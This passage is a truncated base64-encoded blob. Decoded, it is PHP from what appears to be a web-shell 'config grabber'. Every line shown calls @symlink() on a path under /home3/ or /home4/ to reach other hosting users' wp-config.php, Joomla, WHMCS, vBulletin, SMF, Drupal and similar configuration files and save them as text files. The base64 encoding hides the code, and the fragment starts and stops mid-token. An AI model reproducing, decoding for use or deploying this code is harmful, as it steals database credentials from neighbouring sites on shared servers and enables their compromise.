ZXIgLiAnLWpvb21sYTIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvby50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLWNtcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1zaXRlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW1haW4udHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtbmV3cy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ldy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob21lMy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZTMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12Yi1jb25maWcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdmIzLWNvbmZpZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZiMS1jb25maWcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy1pbmNsdWRlcy12Yi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsICR1c2VyIC4gJy12Ymx1dHRpbi1jbGFzc19jb3JlLnBocC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsICR1c2VyIC4gJy12Ymx1dHRpbi1jbGFzc19jb3JlLnBocDEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCAkdXNlciAuICctdmJsdXR0aW4tY2xhc3NfY29yZS5waHAyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctemVuY2FydC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wLXplbmNhcnQudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctc2hvcC1aQ3Nob3AudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLXNtZi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLXNtZjIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZm9ydW0vU2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLXNtZi1mb3J1bS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLXNtZi1mb3J1bXMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdXAudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXJ0aWNsZS9jb25maWcucGhwJywgJHVzZXIgLiAnLU53YWh5LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdXAyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsICR1c2VyIC4gJy02LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywgJHVzZXIgLiAnLTcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCAkdXNlciAuICctUEhQLUZ1c2lvbi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsICR1c2VyIC4gJy05LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdHJhaWRudDEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlnLnBocCcsICR1c2VyIC4gJy00aW1hZ2VzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctMW1lbWJlci50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9pbmNsdWRlcy9pc280MjE3LnBocCcsICR1c2VyIC4gJy1ob3N0YmlsbHMtc3VwcG9ydHMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsICR1c2VyIC4gJy1ob3N0YmlsbHMtc3VwcG9ydC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1iaWxsaW5nLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1ob3N0LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1ob3N0cy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1ob3N0aW5ncy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9pc280MjE3LnBocCcsICR1c2VyIC4gJy1ob3N0YmlsbHMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1ob3N0YmlsbHMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdGJpbGwvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NhcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2FydC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWhvc3RpbmctV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYnV5L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWJ1eS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jaGVja291dC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jaGVja291dC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWhvc3QtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2hvcC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zaG9wLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3Nob3BwaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXNob3BwaW5nLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NhbGUvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc2FsZS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc3VwcG9ydC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNsaWVudHN1cHBvcnQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS13aG1jcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobWMtV0hNLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobWMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdWN1cmUtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdWN1cmUtd2htLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdWN1cmUtd2htY3MtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctcGFuZWwtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctaG9zdHMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsICR1c2VyIC4gJy1zdWJtaXR0aWNrZXQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jbGllbnRzLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNsaWVudGVzLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctYmlsbGluZy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLW1hbmFnZS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tbXktV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1teXNob3AtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctYmlsbGluZ3MtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc3VwcG9ydHMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXV0by9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1hdXRvLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2dvL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWdvLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sLycgLiAkdXNlciAuICcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctVVNFUk5BTUUtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1iaWxsLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3BheW1lbnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctcGF5bWVudC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wYXkvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctcGF5LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3B1cmNoYXNlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXB1cmNoYXNlLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2RiLnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25lY3RfdG9fbXlzcWwucGhwJywgJHVzZXIgLiAnLWF1dG9idXknKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25uZWN0LnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwLWFkbWluL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwLWFkbWluL2NvbmZpZy5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtYWRtaW4vZGJjb25uZWN0LnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTMvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9kYmNvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lMy8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2RiY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWUzLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYWRtaW4vY29ubmVjdGlvbi5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctc2hvcC1vcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywgJHVzZXIgLiAnLW9zY29tLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1vc2NvbW1lcmNlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctb3Njb21tZXJjZXMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywgJHVzZXIgLiAnLXNob3AyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctc2hvcC1zaG9wcGluZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctc2FsZS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywgJHVzZXIgLiAnLWFtZW1iZXIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbGlicmFyeS9jb25maWcucGhwJywgJHVzZXIgLiAnLXN5bWxpbmsnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLW1lbWJlcnMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlnLnBocCcsICR1c2VyIC4gJy00aW1hZ2VzMS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLWZvcnVtLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLWZvcnVtcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsICR1c2VyIC4gJy01LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCAkdXNlciAuICctNC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwMTMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLXdwLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy1XUC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy13cC1iZXRhLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLWJldGEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLXByZXNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwMTMtd29yZHByZXNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwMTMtV29yZHByZXNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwMTMtd29yZHByZXNzLWJldGEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwMTMtbmV3cy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLW5ldy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNv